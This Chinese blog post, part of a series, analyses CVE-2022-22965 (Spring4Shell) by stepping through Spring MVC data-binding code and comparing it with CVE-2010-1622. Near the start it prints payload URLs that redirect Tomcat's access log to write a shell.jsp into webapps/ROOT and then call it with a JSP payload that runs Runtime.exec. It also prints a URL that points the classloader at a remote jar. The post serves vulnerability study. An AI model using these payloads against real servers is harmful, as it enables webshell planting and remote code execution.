首页 > 其他分享 >浅谈CVE-2022-22965漏洞成因(六)

浅谈CVE-2022-22965漏洞成因(六)

时间:2022-11-29 14:44:27浏览次数:60  
标签:http 浅谈 Spring classLoader 22965 2022 CVE

前言:记录一篇自己入门java安全的故事,捋一下思路,轻量知识 ,重在调试 !

.

这篇文章四个部分:

引入篇:整理一下CVE-2022-22965漏洞的来龙去脉

基础篇:回顾Java中一些基础的内容

调试篇:阅读Spring MVC部分源码

分析篇:分析CVE-2010-1622、CVE-2022-22965的漏洞成因

.

( 紧接" 浅谈CVE-2022-22965漏洞成因(四)”,复现并分析一下CVE-2022-22965漏洞成因 )

这里我们仅需要了解一个思路,CVE-2022-22965中的攻击手法与这个相同,其payload如下:

//修改写入文件所在的根目录
http://127.0.0.1:8080/FirstStruts2/login?class.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT

//修改写入文件的名称
http://127.0.0.1:8080/FirstStruts2/login?class.classLoader.resources.context.parent.pipeline.first.prefix=shell

//修改写入文件的后缀名
http://127.0.0.1:8080/FirstStruts2/login?
class.classLoader.resources.context.parent.pipeline.first.suffix=.jsp

//修改文件日期格式,用于切换目录
http://127.0.0.1:8080/FirstStruts2/login?
class.classLoader.resources.context.parent.pipeline.first.fileDateFormat=2

//访问shell.jsp将会记录日志
http://127.0.0.1:8080/FirstStruts2/shell.jsp?=<%Runtime.getRuntime().exec("calc");%>

看完前面的调试过程,再看这个payload基本上没什么问题,不再过多叙述。

.

带Spring MVC项目的项目部署到Tomcat中(或者Spring Boot可执行jar,内置web服务器),多加个module改下Payload,就能写入个日志文件,且是jsp格式的。

wKg0C2KiOmqAfyj9AAFBHDD5o40839.png

简单的改一下,用下面的Payload,访问(无攻击效果),看看Spring MVC版本5中是如何对请求传参作递归解析、获取PropertyDescriptor以及在这个过程中怎么绕过了CVE-2010-1622中Spring官方的修复

http://localhost:8090/SpringMVC5/level/info?class.module.classLoader.URLs[1]=jar:http://localhost:9999/test.jar!/

从DataBinder开始

wKg0C2KjdIAcEePAABgUjYN0U307.png

DataBinder调用AbstractPropertyAccessor的setPropertyValues方法遍历每一个参数并开始对每一个参数进行解析,我们只传了了一个需要递归解析的请求参数,所以,在setPropertyValues里只会进行一轮迭代

wKg0C2KjdJuADlnMAADQvMd7yA4540.png

AbstractPropertyAccessor调用AbstractNestablePropertyAccessor的setPropertyValue方法,在这个方法中,有解析形如"var1.var2.var3.var4.var5"这种形式的请求参数

wKg0C2KjdKeAdKGvAACUT4kcxdk518.png

解析class的过程如下:

wKg0C2KjdLKABijKAABeqD9njjo371.png

wKg0C2KjdLeAG6K6AAB5QikWdI053.png

wKg0C2KjdMaAQNPYAABeSbNMhVE382.png

wKg0C2KjdMqAQ4WAABQO9NsoCo055.png

wKg0C2KjdNGAY32sAABEP6IsdrQ385.png

wKg0C2KjdNWACPMpAAB5cz6qpMw087.png

wKg0C2KjdNyAClKHAACLUQoNvHg363.png

wKg0C2KjdOOAKVnzAADU4ibXC94978.png

wKg0C2KjdOqALBceAAB0JtDENSM283.png

wKg0C2KjdOAfGJQAACfIEgKxs136.png

解析module的过程如下:

wKg0C2KjdPqAfbvCAABmWzHkeWA659.png

wKg0C2KjdPAFCdDAABXbMIv5k112.png

wKg0C2KjdQWAZ6IiAABK8Tx5Yks474.png

wKg0C2KjdQuAS2XVAABDjPqme9s021.png

wKg0C2KjdRaALZfqAABDjPqme9s114.png

wKg0C2KjdRAFRRYAABsSxXdhw756.png

wKg0C2KjdSOAbNijAACNOgMvtgs205.png

wKg0C2KjdSmAImSMAADjSvj5BjM190.png

wKg0C2KjdS6AMNycAABjP4x2FA822.png

wKg0C2KjdTSAW9ZEAABv8f4dyEs174.png

wKg0C2KjdTiAMFBIAABf4jFvBsc629.png

wKg0C2KjdT2AKdDGAABoQFRyS0627.png

wKg0C2KjdUOAcip6AAChehjJScY492.png

解析classLoader的过程如下:

wKg0C2KjdUyAZebFAABpfzleeq8645.png

wKg0C2KjdVGAF5y0AABsTRASDH0169.png

wKg0C2KjdVaAGP9fAABIOuxz04096.png

wKg0C2KjdVABlh1AABIfijPfs797.png

wKg0C2KjdWSAIy5fAABqaCVf75U854.png

wKg0C2KjdWiAdeQCAAB1ws3h0k474.png

wKg0C2KjdW6AIHpuAAD7tAuUSLQ185.png

wKg0C2KjdXKAP53AADMpDf9bQg457.png

wKg0C2KjdXiANBLQAABeakfpcOM629.png

wKg0C2KjdXyAT8a3AAB8tt33Dc065.png

wKg0C2KjdYGAeqVAAA8NWVGRIU505.png

wKg0C2KjdYWAZmFAAACnkEzYzy0929.png

wKg0C2KjdYqAe2c2AAC1jFmy8M289.png

对class.module.classLoader.URLs[]赋值的过程如下:

wKg0C2KjdZSAHX3bAABJY0dc5Ws066.png

wKg0C2KjdZmAMnzqAABmJq0rj0Y000.png

wKg0C2KjdZ2AZF7AAABIW26BlVU318.png

wKg0C2KjdaKAJvgTAABP9jncRe4901.png

wKg0C2KjdaaAUCT2AABdrhkTplQ483.png

wKg0C2KjdaqAItbPAABPiKp7zNQ899.png

wKg0C2Kjda6AC0ZiAACnxp9FtLs990.png

wKg0C2KjdbOAUNz5AAC5D2DJE88788.png

wKg0C2KjdbiASLU4AABzQyzDAM4570.png

wKg0C2KjdbyATw2iAADuPBHhjDw314.png

wKg0C2KjdcaAOYY3AABeAzFyZXk022.png

wKg0C2KjdcuALUVrAAAmMpZB0071.png

wKg0C2Kjdc6AE323AACQE3VOBZw756.png

wKg0C2KjddSAJBimAACvJmzjDUM581.png

第一个参数解析完毕!

wKg0C2KjddyAGQkoAABPL4q1N3w299.png

重点就是这里,本来的拦截规则是当内省的bean是class且获取到的PropertyDescriptor是classLoader时,CachedIntrospectionResults是不能缓存classLoader这个PropertyDescriptor的,但是jdk11中多了个Module的特性,当内省的bean是Module时,CachedIntrospectionResults就能缓存classLoader这个PropertyDescriptor了。

wKg0C2KjdfeAU81MAAD7tAuUSLQ966.png

.

.

写在最后:

4月份时就分析了这个漏洞,但由于各种原因,拖到现在才总结出来,中间有许多有趣的东西都遗忘了,再加上临近期末,各种事情凑团,有很多细节的东西都没补充全。

再有就是本文重在通过调试分析整个代码执行的过程,不过多追求如何攻击,payload利用需要根据Spring部署的环境视情况而定,找到可利用链。(PS:自己也不是很懂)

.

推荐阅读:

光闪师傅写的《深入理解Spring MVC源代码》

P牛师傅写的Java安全漫谈

yiran4827师傅的Struts2 S2-020在Tomcat 8下的命令执行分析

https://cloud.tencent.com/developer/article/1035297

Ruilin师傅的SpringMVC框架任意代码执行漏洞

http://rui0.cn/archives/1158

麦兜师傅的Spring 远程命令执行漏洞分析

https://paper.seebug.org/1877/

标签:http,浅谈,Spring,classLoader,22965,2022,CVE
From: https://www.cnblogs.com/SecIN/p/16935353.html

相关文章

  • NOIP2022 游记
    怕不是真要NOIP退役了……Day-10果断停课,回归机房。(但whk已经在上三角函数了……血亏,以后再补吧)补了补之前的题目。晚上模拟赛爆零了!!好耶(埋伏笔)Day-9~Day-5......
  • 浅谈Google蜘蛛抓取的工作原理
    首先,Google蜘蛛寻找新的页面。然后,Google对这些页面进行索引,以了解它们的内容,并根据检索到的数据对它们进行排名。爬行和索引是两个不同的过程,但是,它们都由爬行器执行。......
  • NOI2022游记
    黄昏降临了。天边被染成深红,橘色层云密布,橙白交界之线宛如辐射般向四方伸展;木林斜立,投下一片片阴影;暮光弥散,旅人的脸颊被映上朱红。咆哮着、吐着白雾,独眼巨兽缓缓向卡农滚......
  • NOIP2022 VP 游寄
    考前给大家说一下我糟糕的模拟赛成绩:\(\operatorname{rk}29\)(总人数\(32\))感觉NOIP2022无望了。(最后再说一句,我的CSP/S太菜了,才\(165\)分,无缘NOIP正式名额,只......
  • 2022-11-29 语言小知识
    英语(也叫英文)(English)从属于印欧语系里面的西日耳曼语支,具体的起源则是由古代从欧洲大陆迁徙到大不列颠岛的撒克逊、盎格鲁和朱特部落的日耳曼人他们原来说的语言慢慢演化而......
  • KubeSphere 社区双周报 | KubeKey v3.0.2 发布 | 2022-11-24
    KubeSphere从诞生的第一天起便秉持着开源、开放的理念,并且以社区的方式成长,如今KubeSphere已经成为全球最受欢迎的开源容器平台之一。这些都离不开社区小伙伴的共同努力......
  • 预告|2022 星策 Summit 首批嘉宾确认,精彩内容抢先看!
    StartTogether,StarTogether,一起开始,一起闪耀!星策社区年度最大峰会来啦!2022星策Summit是由星策开源社区主办、思否社区协办,面向企业管理层、CTO、CEO、AI工程师、开发......
  • 2022年鲜为人知的CSS 特性了解起来~
    前言随着CSS的不断发展,一些很酷且有用的属性要么完全被忽视,要么由于某种原因不像其他常见属性那样被开发者熟练应用。这篇文章我们将一起学习那些CSS中陌生但非常有用的CS......
  • 浅谈@PostConstruct注解
    目录​​前言:​​​​常见业务背景:​​前言:我们在Spring项目中经常会遇到@PostConstruct注解,可能有的伙伴对这个注解很陌生,出现场景如:首页介绍一下它的用途:@PostConstruct......
  • 浅谈学习
    学习技术,比起抢跑的益处,对技术本身的热爱应该会让你走的更远。学习底层,让你的思考方式高度更高。以前总觉得学习是一个完全积累的过程,以积累为量化,容易急切而不安。现在......